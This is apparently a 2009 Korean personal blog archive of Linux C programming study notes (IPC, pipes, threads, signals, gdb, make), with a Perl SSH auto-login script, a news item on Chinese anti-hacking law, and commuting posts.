shmflg 멤버 : SHM_RND 공유 메모리가 연결되는 주소를 제어
SHM_RDONLY 연결된 메모리를 읽기 전용으로 만듬
반환값: 실패 -1, 성공 공유 메모리의 첫번째 바이트에 대한 포인터 반환

공유 메모리를 현재 프로세스로 부터 분리(삭제되지 않고 현 프로세스가 공유 메모리를 사용을 불가능 하게함)
shmdt(int shm_id);
반환값: 실패 -1

공유메모리 제어
int shmctl(int shm_id, int command, struct shmid_ds *buf);
shm_id는 shmget가 반환한 값
command는 취해야 할 동작(IPS_STAT, IPC_SET, IPC_RMID);
*buf는 공유메모리 모드와 권한
반환값: 실패 -1, 성공 0

공유메모리 예: 753페이지 참조

IPC(메시지 대기열)
메시지 대기열은 두개의 연관이 없는 프로세스끼리 쉽고 표율적으로 데이터를 주고받을 수 있다. 메시지 대기열은 송신 프로세스와 수신 프로세스에 대해 독립적으로 존재하기 때문에, 명명된 파이프를 열고 닫을 때 동기화를 수행하면서 따르는 어려움을 다소 없애준다. 이것이 메시지가 명명된 파이프에 비해 가지는 장점이다

#include < sys/types.h>
#include < sys/ipc.h>
#include < sys/msg.h>

메시지 대기열 만들기
int msgget(key_t key, int msgflg);
반환값: 실패 -1, 성공 양의 정수인 대기열 식별자

메시지 대기열에 메시지 추가
int msgsnd(int msqid, const void *msg_ptr, size_t msg_sz, int msgflg);

메시지 대기열에서 메시지 갖어오기
int msgrcv(int msqid, void *msg_ptr, size_t msg_sz, long int msgtype, int msgflg);

메시지 대기열에서 메시지 제어
int msgctl(int msqid, int command, struct msqid_ds *buf);
command 맴버: IPC_STAT, IPC_STAT, IPC_RMID
반환값: 실패 -1, 성공 0
프로세스가 msgsnd 함수나 msgrcv 함수에서 기다리고 있는 동안 메시지 대기열을 삭제하면, 송신 함수나 수신 함수는 실패한다.

메시지 대기열 예: 762페이지 참조(사용자 1), 766페이지 참조(사용자 n

IPC 상태 명령
세마포어을 사용하여 개발한 프로그램이 세마포어을 삭제하지 않고 죽었을 경우 메모리에 찌꺼기가 남아서 위험하다. 그것을 확인할 수 있는 명령어는

세마포어 상태 보기 명령
$ ipcs - s
--- Semaphore Arrays ----
semid owner perms nsems status
768 rick 666 1

세마포어 죽이기(최신 리눅스)
$ ipcrm -s 768

세마포어 죽이기(오래된 리눅스)
$ ipcrm sem 768

공유 메모리 상태 보기 명령
$ ipcs -m

공유 메모리 죽이기
$ ipcrm -m < ID>

메시지 대기열 상태 보기 명령
$ ipcs -q

메시지 대기열 죽이기
$ ipcrm -q < ID>

중국 쪽도 해킹 처벌이 생기는 군요 ㅋ

2009-03-17T23:12:00.000-07:00

신화망(新华网)북경 28일 11기 전국 인대 상무위원회 제7차 회의에서 형법 수정안(7)을 표결 통과하였다.

주요사항으로는 “해커”의 위법 범죄 행위에 대하여 형법의 조항을 추가되어
앞으로 “해커”들을 처벌하는데 법률에 의거할 수 있게 되었다.

기존의 중국 형법 제 285조에서는 국가 규정을 위반하고,
국가 사무, 국방 건설, 과학 기술 영역의 컴퓨터 정보 시스템 침입하면 3년 이하의 유기형
혹은 징역에 처한다고 하였다. 최 근 불법적으로 컴퓨터시스템을 침입하여
타인의 계정, 패스워드 등 정보를 절취하거나 대규모로 다른 사람의 컴퓨터를 불법 제어하여
네트워크 안전에 심각한 영향을 초래하였다. 그러나 기존의 규정으로는 법적인 근거가 미비한 탓에
사법 기관에서 “해커”들을 검거하는데 여러 가지 어려움이 있었다. 형법 수정안(7)에서는
형법 제285조 중에 제2항, 제3항을 추가되었다. “국가 규정을 위반하고 제1항 외의
컴퓨터 정보 시스템 침입 혹은 기타 기술 수단을 통한 컴퓨터 정보 시스템의
데이터를 저장, 처리, 전송 혹은 컴퓨터시스템을 불법 제어 할 경우 상황이 엄중하면
3년 이하의 유기형 혹은 징역에 벌금형을 받게 된다. 상황이 아주 심각할 경우에는
3년 이상 7년 이하의 유기형에 처하며 벌금을 선고 할 수 있다.” 뿐만 아니라
“전문 컴퓨터 시스템 침입, 불법 제어 등의 프로그램을 제공하거나
다른 사람이 침입, 불법 제어를 하는 것을 알면서 프로그램을 제공하는 경우에도
상황이 엄중하면 규정에 의거하여 처벌을 하도록 하였다

출근시간 교통정보(구파발->충정로역)

2009-03-17T17:31:00.000-07:00

P.S 월,화는 구파발역->세검정->충정로역으로 가야겠다.

참고사이트 : 서울지방경찰청 종합교통정보센터

Perl 정규표현식

2009-03-17T00:38:00.000-07:00

Detail View

Perl 문자열 처리

2009-03-16T22:08:00.000-07:00

Detail View

SSH Auto Login with Perl(Ouput String Parse)

2009-03-16T02:18:00.000-07:00

#!/usr/bin/perl
use Expect;
$Expect::Debug = 0; #Debug Level 0~3
#$Expect::Log_Stdout = 0; #Screen Log Output On/Off
#printf "Total Option Count: %d\n", $#ARGV;

if ($#ARGV lt 3) { die "Not Options ex)./ssh_autologin.pl 'IP' 'ID' 'PASSWORD' 'COMMAND'\n"; }
$ip = $ARGV[0];
$id = $ARGV[1];
$pwd = $ARGV[2];
$cmd = $ARGV[3];
my $exp = Expect->spawn("ssh -l $id $ip");
my $timeout = 10;
$retry = 0;

$exp->expect($timeout, [qr 'password: $' => \&inputpassword], [qr /][$|#] $/ => \&getcmd], [qr /connecting $yes\/no$\?\s*$/ => \&inputyes], [timeout => \&timeouterr],);

sub timeouterr
{
die "No Login(Timeout)\n";
}

sub inputpassword
{
my $exp = shift;
if ($retry > 0)
{
die "Login Error(Password)\n";
}
$exp->send("$pwd\n");
$retry++;
exp_continue;
}

sub inputyes
{
my $exp = shift;
$exp->send("yes\n");
exp_continue;
}

sub getcmd
{
my $exp = shift;
$exp->log_file("ssh_autologin.log","w"); #logfile save
$exp->send("$cmd\n");
$exp->expect(1); #sleep for $output
my $output = $exp->before(); #$exp->send("$cmd\n"); value
my @array = split("\n",$output);
my $result = "";
for (my $i = 1; $i < $#array; $i++) #first&last line remove
{
$result = $result."$array[$i] \n";
#printf("Array %d : %s \n", $i, $array[$i]);
}
print $result;

$exp->send("date\n");
$exp->send("exit\n");
$exp->soft_close();
$exp->hard_close();
}

실행 방법
[root@waf cstudy]# ./ssh_autologin.pl '203.239.130.161' 'root' 'pwd' 'ps -ef'

Perl Expect 설치 방법
[root@waf cstudy]# cpan

cpan shell -- CPAN exploration and modules installation (v1.7602)
ReadLine support enabled

cpan> install expect
CPAN: Storable loaded ok
Going to read /root/.cpan/Metadata
.
.
.
cpan> quit
Lockfile removed.
[root@waf cstudy]#

14Day Study

2009-03-15T23:06:00.001-07:00

14Day Study
[[[[[프로세스간 통신: 파이프(pipe)]]]]]

< myserver 서버에 id로 로그인 하여 ls명령 실행>
ssh id@myserver ls

< ssh키를 등록해놓았을 때는 id는 생략하고 로그인 절차 없이 바로 실행, ;로 구분하여 여러 명령 실행>
ssh myserver "ls -la;df"

그러면 여러줄의 명령이나 특정 쉘스크립트,Perl스크립트 등등을 원격서버에 실행 시키면 어떻게 해야 할까? 간단한 쉘명령이야 ;로 나눠서 한 줄에 넣어서 실행하면 되지만 작업이 복잡해지면 그런 형태로는 한계가 있다. 그럴때는 다음과 같은 방법을 쓸 수 있다.

< HEREDOC을 사용하는 방법>
ssh myserver < < \EOF
ls -la
df
EOF

< 별도의 쉘스크립트를 만들고 원격에 스크립트 해석기를 실행시키고 파이프나 리다이렉션으로 보내는 방법>
#!/bin/sh
ls -la
df
가 test_script.sh 이라고 하면

cat test_script.sh | ssh myserver sh
또는
ssh myserver sh < test_script.sh

< Perl 스크립트를 ssh를 통해 실행>
cat perl_script.pl | ssh myserver perl
또는
ssh myserver perl < perl_script.pl

이것을 기초로 여러 서버에 명령을 내리려면 다음처럼 서버의 리스트를 만들고 리스트에 대해 루프를 돌면서 위의 명령을 서버별로 실행하면 될 것이다.

< 여러 서버에 루프를 돌면서 지정한 스크립트를 실행하는 스크립트>
#!/bin/sh
SERVERS="
myserver1
myserver2
"
for m in $SERVERS
do

ssh $m sh < test_script.sh

done

이렇게 하면 문제는 순차적으로 실행을 하기 때문에 한 서버씩 실행이 끝날 때 까지 기다려야 해서 속도가 늦고 나중에 결과를 보기가 힘들다는 것이다.

그러면

ssh $m sh < test_script.sh
줄을 다음과 같이
ssh $m sh < test_script.sh > $m.log &
고치면 각 ssh 명령이 fork되어서 백그라운드로 돌고 각 서버에 대한 결과는 서버이름.log 파일로 남게 된다. ( 작업결과는 *.log 파일들에 대해 grep이나 기타 유틸리티로 일괄적으로 확인 가능할 것이다. )

발췌 URL:
http://209.85.173.132/search?q=cache:yXBNexjGI0QJ:aero.dnip.net/blog/2008/11/ssh.html+ssh+%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8&cd=11&hl=ko&ct=clnk&gl=kr&client=firefox-a

파이프(pipe)란 하나의 프로세스로부터 데이터 흐름을 다른 프로세스로 연결

#include < stdio.h>
FILE *popen(const char *command, const char *open_mode);

open_mode 멤버: r 출력 읽기, w 출력 보내기(반환값 NULL 실패)

int pclose(FILE *stream_to_close); => popen이 종료할 때 까지 기달렸다가 종료시킴

POPEN 예:
#include < unistd.h>
#include < stdlib.h>
#include < stdio.h>
#include < string.h>

int main()
{
FILE *read_fp;
char buffer[BUFSIZ + 1];
int chars_read;

memset(buffer, '\0', sizeof(buffer));
read_fp = popen("cat ./popen.c | wc -l", "r");
if(read_fp != NULL)
{
chars_read=fread(buffer, sizeof(char), BUFSIZ, read_fp);
while(chars_read > 0)
{
buffer[chars_read - 1] = '\0';
printf("Reading:-\n %s\n", buffer);
chars_read = fread(buffer, sizeof(char), BUFSIZ, read_fp);
}
pclose(read_fp);
exit(EXIT_SUCCESS);
}
exit(EXIT_FAILURE);
}

결과는
[root@waf cstudy]# ./popen
Reading:-
27

저수준의 파이프(pipe) => 쉘 호출을 사용하지 않음
#include < unistd.h>
int pipe(int file_descriptor[2]);

pipe 실습 예: 681페이지 참조

포크와 exec와 pipe 실습 예: 685페이지 참조

명명된 파이프(named pipe): FIFO 예: 696페이지 참조(CPU 리소스에 가장 효율이 좋다)

고급 주제: FIFO를 사용하는 클라이언트/서버 예: 703페이지 참조
실제 응용프로그램에서는 sleep를 하지 않음
실제 응용프로그램 DB 클라이언트/서버 예: 712페이지 참조
실제 응용프로그램 DB 검색 예: 720페이지 참조

13Day Study

2009-03-13T01:11:00.001-07:00

13Day Study
[[[[[POSIX 쓰레드(Thread)]]]]]
Native POSION Thread Library(NPTL)를 사용

기본값
#include < pthread.h>
int pthread_create(pthread_t *thread, pthread_attr_t *attr, void *(*start_routine)(void *), void *arg); => 스레드 생성
void pthread_exit(void *retval); => 스레드 종료
int pthread_join(pthread_t th, void **thread_return); => wait 기능

스레드 예:
#include < stdio.h>
#include < unistd.h>
#include < stdlib.h>
#include < pthread.h>

void *thread_function(void *arg);
char message[] = "Hello World";

int main() {
int res;
pthread_t a_thread;
void *thread_result;
res=pthread_create(&a_thread, NULL, thread_function, (void *)message);
if(res != 0) {
perror("Thread creation failed");
exit(EXIT_FAILURE);
}
printf("Waiting for thread to finish...\n");
res=pthread_join(a_thread, &thread_result);
if(res != 0) {
perror("Thread join failed");
exit(EXIT_FAILURE);
}
printf("Thread joined, it returned %s\n", (char *)thread_result);
printf("Message is now %s\n",message);
exit(EXIT_SUCCESS);
}

void *thread_function(void *arg) {
printf("thread_function is running. Argument was %s\n", (char *)arg);
sleep(3);
strcpy(message, "Bye!");
pthread_exit("Thank you for the CPU time");
}

[root@waf cstudy]# ./thread
Waiting for thread to finish...
thread_function is running. Argument was Hello World
Thread joined, it returned Thank you for the CPU time
Message is now Bye!

스레드 최대 갯수 세는 프로그램 예:
#include < stdio.h>
#include < pthread.h>
#include < stdlib.h>
#include < unistd.h>

unsigned int total=0;
unsigned int threadcount=0;

pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;

void update_size( unsigned size) {
}

void *threadFunc(void *arg) {
int tnum = (int) arg;

// add our thread number to the total
pthread_mutex_lock(&m);
total += tnum;
threadcount--;
printf("I am thread %d, and I am done!\n",tnum);
pthread_mutex_unlock(&m);

return(NULL);
}

int main(int argc, char **argv) {
int i,n;
pthread_t tid;

if (argc!=2) {
fprintf(stderr,"Error - I need the number of threads!\n");
exit(1);
}

n = atoi(argv[1]);
if (n< =0) {
fprintf(stderr,"Give me a number greater than 0\n");
exit(1);
}

for (i=1;i< =n;i++) {
threadcount++;
if (pthread_create(&tid,NULL,threadFunc,(void *)i)) {
fprintf(stderr,"Error creating thread number %d\n",i);
}
}
while (threadcount);

printf("total is %d\n",total);
return(0);
}

동기화(synchronization)
뮤텍스와 세마포 둘 다 공유자원의 크리티컬 섹션 문제를 해결하는 방법이다.
뮤텍스는 공유자원에 접근할 수 있는 열쇠라고 보면 된다.
열쇠가 있는 녀석만이 공유자원에 접근할 수 있는 것이다.
이렇게 해서 크리티컬 섹션 문제를 해결한다.
그럼 세마포는?
세마포는 뮤텍스보다 더 범용적으로 쓰일 수 있다.
왜? 세마포는 공유자원의 접근에 대한 한계값(n)을 부여하고
n보다 작으면 프로세스가 공유자원에 접근할 수 있다.
그럼 뮤텍스와 세마포의 차이점은???
세마포를 뮤텍스와 똑같은 기능을 하게 할 수 있다.
그것이 바로 바이너리세마포 이다.
바이너리... 말 그대로 0과 1 둘 밖에 없다.
즉 0이면 못하는 거고 1이면 접근 가능하다.
이러면 세마포와 뮤텍스의 기능이 같아진다.

#include < semaphore.h>
int sem_init(sem_t *sem, int pshared, unsigned int value);
int sem_wait(sem_t *sem);
int sem_post(sem_t *sem);
int sem_destory(sem_t *sem);

세마포어를 이용하여 쓰레드가 작업을 완료할 때까지 메인 쓰레드가 기다리도록 만들 수 있음

뮤텍스
#include < pthread.h>
pthread_mutex_init(pthread_mutex_t *mutex, const pthread_mutexattr_t *mutexattr);
pthread_mutex_lock(pthread_mutex_t *mutex);
pthread_mutex_unlock(pthread_mutex_t *mutex);
pthread_mutex_destroy(pthread_mutex_t *mutex);

P.S 책이 넘 후졌다... 인터넷으로 따로 공부하자

또 다른 fork 예

2009-03-12T19:11:00.001-07:00

fork는 자신과 동일한 자식 프로세스를 하나더 생성하면 생성된 자식프로세스는
자신을 만든 fork문장 다음부터 수행을 시작한다는것을 아시면 될것 같네요..
참고로 A가 B를 fork 했을때 누가 자식이고, 누가 부모인지를 판단하는 기준은

int pid;
pid = fork();

위와 같이 반환값을 받아서
pid 값이 0이면 자식 프로세스를 뜻하며
pid 값이 양수의 특정한 값이면 부모프로세스이면서 부모 프로세스는 그 양수의 프로세스 아이디를 갖는 자식 프로세스를 생성하였음을 뜻합니다.
pid 값이 음수라면 fork를 실패해서 자식프로세스를 못만들었다는 뜻

참조

또 다른 fork 예:

[root@waf cstudy]# cat fork2.c
#include < stdio.h>
main()
{
int x=8109;
printf("test1:%d\n",x);
fork();
x=x+2;
printf("test2:%d\n",x);
fork();
x=x+3;
printf("test3:%d\n",x);
}
[root@waf cstudy]# ./fork2
test1:8109
test2:8111
test3:8114
test3:8114
test2:8111
test3:8114
test3:8114

==============================================================================

#include < stdio.h>
#include < iostream.h>
#include < unistd.h>
#include < sys/wait.h>

void pfork(int a);

int main(){

int index=0;

pfork(index);

return 0;
}

void pfork(int a){
if(a==10) return;
else if(fork()==0) {
printf("Child %d\n",a);
pfork(a+1);
}
else {
wait(0);
printf("Parent %d \n", a);
}
}

결과값
Child 0
Child 1
Child 2
Child 3
Child 4
Child 5
Child 6
Child 7
Child 8
Child 9
Parent 9
Parent 8
Parent 7
Parent 6
Parent 5
Parent 4
Parent 3
Parent 2
Parent 1
Parent 0

12Day Study

2009-03-12T18:41:00.001-07:00

12Day Study
[[[[[프로세스와 신호(Process and Signal)]]]]]

[root@waf ~]# ps -lf
F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD
4 S root 13443 13441 0 75 0 - 1466 wait 08:21 pts/1 00:00:00 -bash
4 R root 13666 13443 0 76 0 - 543 - 09:31 pts/1 00:00:00 ps -l

위에서 NI는 nice값이다 프로세서의 우선순위를 말함(높을 수록 높음 기본은 0)

nice 값 변경:
$nice < 프로세스명> &

nice 값 10으로 재설정:
$renice 10 < PID>

system을 이용한 새 프로세스 시작 예:
#include < stdlib.h>
#include < stdio.h>

int main()
{
system("ps -ax");
exit(0);
}

프로세스 이미지 교체하기(따른 PID가 안 생기고 실행됨):
#include < unistd.h>
int execl("bin/ps", "ps", "-ax", 0); => 반환값(에러 -1), errno 에러변수

프로세스 이미지 복제하기(fork) => 반환값(실패 -1), errno 에러변수
#include < sys/types.h>
#include < unistd.h>

pid_t fork(void);

!!중요!!
부모 프로세스에서 fork를 호출하면 새로운 자식 프로세서 PID를 반환하고 자식 프로세스에서 다시 fork를 하면 0을 반환한다

fork 예제: 608페이지 참조

프로세스 종료 기달리기(wait 시스템 호출은 부모 프로세스의 자식 프로세스 중 하나가 정지할 때까지 부모 프로세스를 일시 중지시킨다) => 반환값(정상 0)
#include < sys/types.h>
#include < sys/wait.h>

pid_t wait(int *stat_log);

wait 예: 611페이지 참조

좀비 프로세스(< defunct> 또는 < zombie>)

특정 프로세스 종료 기다리기
#include < sys/types.h>
#include < sys/wait.h>

pid_t waitpid(pid_t pid, int *stat_log, int options); => 종료하였거나 정지했으면 PID, 에러 -1, 종료안하거나 정지안했으면 0

입출력 리디렉션 예:
[root@waf cstudy]# cat upper.c
#include < stdio.h>
#include < ctype.h>

int main()
{
int ch;
while((ch=getchar()) != EOF) {
putchar(toupper(ch));
}
exit(0);
}
[root@waf cstudy]# ./upper
hahaha hohoho
HAHAHA HOHOHO

!!중요!!
리눅스에서 쓰레드를 프로그래밍하는 것은 여러 프로세스를 사용하는 것 만큼 흔하지 않다. 그 이유는 리눅스 프로세스는 경량이며, 협력하는 여러 프로세스를 프로그래밍하는 것이 쓰레드 프로그래밍보다 쉽기 때문이다

신호처리 하기 예:
#include < signal.h>
#include < stdio.h>
#include < unistd.h>

void ouch(int sig)
{
printf("OUCH! = I got signal %d\n", sig);
(void) signal(SIGINT, SIG_DEF); => SIG_DEF 기본 동작으로 복구, SIG_IGN 무시하기
}

int main()
{
(void) signal(SIGINT, ouch);

while(1) {
printf("Hello World!\n");
sleep(1);
}
}

$ ./ctrlc
Hello World!
Hello World!
Hello World!
Hello World!
^C => CTRL+C를 누른 시점
OUCH! - I got signal 2
Hello World!
Hello World!
Hello World!
Hello World!
^C => CTRL+C를 누른 시점
$

!!중요!!
signal보단 sigaction을 사용을 권한다

신호 보내기 => 우리가 아는 kill이긴 하지만 신호를 보낼 때도 이용됨
#include < sys/types.h>
#include < signal.h>
int kill(pid_t pid, int sig); => 반환값(실패 1)

알람
#include < unistd.h>
unsigned int alarm(unsigned int seconds);

!!중요!!
신호를 조심스럽게 프로그램밍해야 한다. 왜냐하면 신호를 사용하는 프로그램에서 발생할 수 있는 "경쟁 조건(race condition)"이 많기 떄문이다. 예를 들어 pause를 호출하여 신호를 기다리고자 할때 pause를 호출하기 전에 신호가 발생하면 프로그램은 일어나지도 않을 이벤트를 무한히 기다리는 수가 생긴다.

알람 예:
#include < sys/types.h>
#include < signal.h>
#include < stdio.h>
#include < unistd.h>

static int alarm_fired = 0;

void ding(int sig)
{
alarm_fired = 1;
}

int main()
{
pid_t pid;

printf("alarm app starting\n");
pid = fork();
switch(pid) {
case -1:
perror("fork failed");
exit(1);
case 0:
sleep(5); => 포크한 후에 자식 프로세서 일시정지 5초
kill(getppid(), SIGALRM); => 부모 프로세스에 SIGALRM 보내기
exit(0);
}

printf("waiting for alarm to go off\n");
(void) signal(SIGALRM, ding);
pause(); => SIGALRM이 올때까지 기달리다가 오면 ding함수 호출
if(alarm_fired) printf("Ding!\n"); => alarm_fired==1 이면 Ding! 출력
printf("done\n");
exit(0);
}

견고한 신호 프로그래밍
#include < signal.h>
int sigaction(int sig, const struct sigaction *act, struct sigaction *oact);
반환값(성공 0, 실패 -1)

sigaction 예: 627페이지 참조

홍제동 차량 정체에 대해서 민원 넣습니다

2009-03-11T21:20:00.000-07:00

신청일 : 2009.03.10 17:57:52

제목 : 홍제동 차량 정체에 대해서 민원 넣습니다
갈현동에서 7시에 출근을 하는데요
무슨 홍제동은 차가 이리도 막힌답니까?
은평 뉴타운이 들어서서 그런가 거참.. 너무 하네요..
고작 2km 가는데 40분이라니
반대 차선 보면 차가 하나도 없어서 텅텅 비어있는데
아침 출근시간에는 반대차선 하나 더 쓰는 방식으로 했으면 합니다
예를 들면 시청옆에 보면 차선별로해서 중앙을 변동에서 쓰잖아요

그리고 또 한가지 내부순환도로로 올라가는 차량들 다른 곳으로 뺄수 있는
방법 좀 생각해 보세요. 아주 미어 터집니다!!

================================================================================

답변 : 서울특별시청 교통운영담당관입니다.

보내주신 "홍제동 주변 교통정체"에 대한 의견 잘 받아 보았습니다. 답변에 앞서 교통정체로 인해 많은 불편을 겪고 계신 점을 매우 유감으로 생각합니다.

먼저, 홍제동 주변 교통정체에 대하여는 우리 시 교통정책에 의거 대중교통 이용 활성화를 위하여 2010년에 통일로~의주로 구간에 중앙버스전용차로를 설치계획(도로교통시설담당관)으로 있고, 홍제고가차도 철거여부를 검토용역 시행 중(도로계획담당관행)이며, 은평뉴타운과 도심부를 직접 연결할 수 있는 유료 민자도로 건설을 추진(2014년 건설예정)하는 등 다각도로 통일로-의주로 교통축의 교통정체 완화를 위해 노력하고 있음을 말씀 드립니다.

마지막으로 내부순환로 진출입로 추가 설치 의견 역시 2015년까지 5개소의 진출입로를 추가하기 위한 타당성 조사 및 기본계획용역을 진행 중(도로계획담당관)에 있음을 알려드립니다.

P.S 와우 친절하다~ ^^ 굳!

11Day Study

2009-03-10T23:14:00.000-07:00

11Day Study
[[[[[디버깅(Debuging)]]]]]

gcc 오류를 추적하면서 컴파일 하기
gcc -Wall -pedantic -ansi

인스트루먼트 예:
#ifdef BEBUG
printf("variable x has value = %d\n", x);
#endif

인스트루먼트 복합 적용 예:
#ifndef DEBUG
#define DEBUG 0
#endif

#define BASIC_DEBUG 1
#define EXTRA_DEBUG 2
#define SUPER_DEBUG 4

#if (DEBUG & EXTRA_DEBUG)
printf...
#endif

컴파일 방법
gcc -o cinfo --DEBUG cinfo.c

그냥 print를 활용하기
if(debug) {
sprintf(msg,...);
write_debug(msg)
}

gdb를 이용한 디버깅
gcc -g -o debugex debugex.c < = 꼭 -g 옵션이 필요함
gdb debugex
GNU gdb Red Hat Linux (6.5-37.el5_2.2rh)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) run => debugex를 실행
Starting program: /root/cstudy/maxusermem

Program received signal SIGSEGV, Segmentation fault.
0x080483ef in main () at ./maxusermem.c:14
14 *scan_ptr='\0'; => 14번째 줄 에러
(gdb) bt < = 스택을 추적하여 코드 에러 부분을 호출한 부분을 찾을 수 있음
#0 0x080483ef in main () at ./maxusermem.c:14
(gdb) backtrace => 스택을 추적하여 코드 에러 부분을 호출한 부분을 찾을 수 있음
#0 0x080483ef in main () at ./maxusermem.c:14
(gdb) print scan_ptr => scan_ptr 변수값 보기
$2 = 0x9a6f000 < Address 0x9a6f000 out of bounds>
(gdb) print ex[$-1] => ex배열의 마지막 결과값 바로 전꺼 보기
(gdb) print ex[3].key => ex배열 3번째의 key 값 보기
(gdb) print ex[0]@ => ex배열 전체 보기
(gdb) list => 소스 보기
9
10 some_memory=(char *)malloc(ONE_K);
11 if(some_memory == NULL) exit(EXIT_FAILURE);
12 scan_ptr=some_memory;
13 while(1) {
14 *scan_ptr='\0';
15 scan_ptr++;
16 }
17 exit(EXIT_SUCCESS);
18 }
(gdb) help breakpoint => 브레이크 포인트 설명 보기
(gdb) break 11 => 11번째 줄에 중단점 만들기
Breakpoint 1 at 0x80483d4: file ./maxusermem.c, line 11.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/cstudy/maxusermem

Breakpoint 1, main () at ./maxusermem.c:11
11 if(some_memory == NULL) exit(EXIT_FAILURE);
(gdb) print some_memory
$8 = 0x8de0008 ""
(gdb) cont => 중단점을 지나서 계속 진행
Continuing.
(gdb) next => 중단점을 지나서 다음으로 진행
(gdb) display ex[0]@ => 실행될때 마다 보여줌
(gdb) commands => 브레이크 포인트 만날 때를 제어함
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>cont => 중단점 무시하여 진행
>end => commands 나가기
(gdb) info display => 디스플레이 정보 보기
Auto-display expressions now in effect:
Num Enb Expression
1: y some_memory
(gdb) info break => 브레이크 포인트 정보 보기
Num Type Disp Enb Address What
1 breakpoint keep y 0x080483d4 in main at ./maxusermem.c:11
breakpoint already hit 1 time
cont
(gdb) disable break 1 => 브레이크 포인트 1 비활성
(gdb) disable display 1 => 디스플레이 1 비활성
(gdb) commands 1 => 브레이크 포인트 1번을 제어
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>set variable ex = 2; => ex 변수를 2로 변경하여 처리함
>cont
>end
(gdb) run
(gdb) quit
The program is running. Exit anyway? (y or n) y
[root@waf cstudy]#

최적화 컴파일
gcc -O -g -o test ./test.c

$ splint -strict maxusermem.c => 컴파일 전에 프로그램 에러 잡기

코어 덤프 파일 만들기
gcc -g -o test ./test.c

옵션 후
#include < sys/resource.h>

static void
set_limit(void)
{
struct rlimit rlp;

rlp.rlim_cur = RLIM_INFINITY;
rlp.rlim_max = RLIM_INFINITY;

/* Core file size를 시스템 최대치로 설정 */
if (setrlimit(RLIMIT_CORE, &rlp))
Log(ERROR, "Failed to set rlimit core file size: %s",
strerror(errno));
}

위가 안 되면
ulimit -c unlimited >/dev/null 2>&1
http://my.oops.org/77 참조

[root@waf cstudy]# gdb debugex --core=./core.9794 ==> 코어 파일을 이용하여 디버그
GNU gdb Red Hat Linux (6.5-37.el5_2.2rh)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./max'.
Program terminated with signal 11, Segmentation fault.
#0 0x080483ef in main () at maxusermem.c:15
15 *scan_ptr='\0';
(gdb) bt
#0 0x080483ef in main () at maxusermem.c:15
(gdb)

prof/gprof를 이용하여 서브함수별 속도를 나타냄
gcc -pg -o program program.c
./program
ls -la하면 gmon.out이 생김

메모리 디버깅(malloc와 free 이용할 때 사용)
gcc -o test test.c -lefence
./test
gdb test
(gdb) run

valgrind => 가장 좋은 디버거
$ valgrind --leak-check=yes -v ./test

10Day Study

2009-03-10T20:41:00.000-07:00

10Day Study
[[[[[개발 도구]]]]]
메이크파일 문법
-k : 에러를 발견 했더라도 멈추지 않고 계속 진행
-n : 실제로 작업을 수행하지 않고 어떤 작업을 수행할 것인지 출력한다
-f < 파일 이름> : 메이크파일로 이 파일을 사용함

make 실행시 첫번째 대상이 make 됨(예: all이 맨 첨이면 all)

make 파일안에 종속표현(:)
myapp: main.o 2.o 3.o => myapp는 main.o와 2.o와 3.o에 종속

all: myapp myapp.1 => 응용프로그램이 바이너리 파일 myapp와 메뉴얼 페이지 myapp.1로 이루어 질때

!!중요!!
메이크 파일은 매우 이상한 문법이다.
모든 법칙은 탭으로 시작하는 줄로 작성된다. 공백은 안 된다. 여러 개의 공백과 탭은 매우 유사해 보이고, 메이크파일 이외 거의 모든 분야의 리눅스 프로그래밍에서 공백과 탭은 구분하지 않기 때문에, 이러한 문법은 문제를 일으킬 수 있다. 또한 메이크파일의 마지막 줄에 있는 공백 때문에 make 명령이 실패할 수도 있다.
현재 이러한 문법을 고수하며 존재하는 메이크파일이 수도 없이 많다. 그러므로 조심해야 한다. 다행스럽게도 탭이 빠져서 make 명령이 작동하지 않는 경우가 상당히 자주 발생함으로 안될때는 탭 검사를 해보자

메이크 파일의 주석은? #

make 특별 내부 메크로
$? : 현재 대상보다 더 최근에 변경된 파일 이름
$@ : 현재 대상의 이름
$< : 현재 파일 이름
$* : 접미사(suffix)를 제거한 현재 파일 이름

앞에 -를 지정하면 make는 에러를 무시
앞에 @를 지정하면 표준 출력으로 표시 안 함
이전 명령이 성공해야 다음 명령을 실행 조건은 &&로 표시(and 기능)
make -p => make의 내장 법칙 보기

cpp 확장자(suffix)를 컴파일 하기
.SUFFIXES: .cpp
.cpp.o:
$(CC) -xc++ $(CFLAGS) -I$(INCLUDE) -c $<

%.cpp: %o
$(CC) -xc++ $(CFLAGS) -I$(INCLUDE) -c $<

위 2개는 같은것임

라이브러리 관리하기 예: 510페이지 참조

RCS => 소스 코드 관리(형상관리) 1인용
rcs 제어 초기화
$ rcs -i important.c => 나갈때는 Ctrl+D 또는 .
결과는 rcs는 ,v 확장자를 가진 새로운 읽기 전용 파일을 만듬

!!중요!!
RCS 파일을 별도 디렉토리에 저장하고 싶다면, 단순히 rcs를 처음 사용하기 전에 RCS라는 하위디렉토리를 만들면 된다. 모든 rcs 명령은 자동으로 rcs 파일을 위해 RCS 하위 디렉토리를 사용함

co => 파일 변경 하기전 체크 아웃
co important.c => 최신 버전으로 복구
co -l important.c => 소스 수정을 위한 읽기 전용 해제

ci => 소스 변경 저장(기존 소스 파일이 지워짐)
ci important.c

복구(버전 1.1로 복구)
co -r1.1 important.c

rlog important.c => 파일의 변경 사항 요약 보기
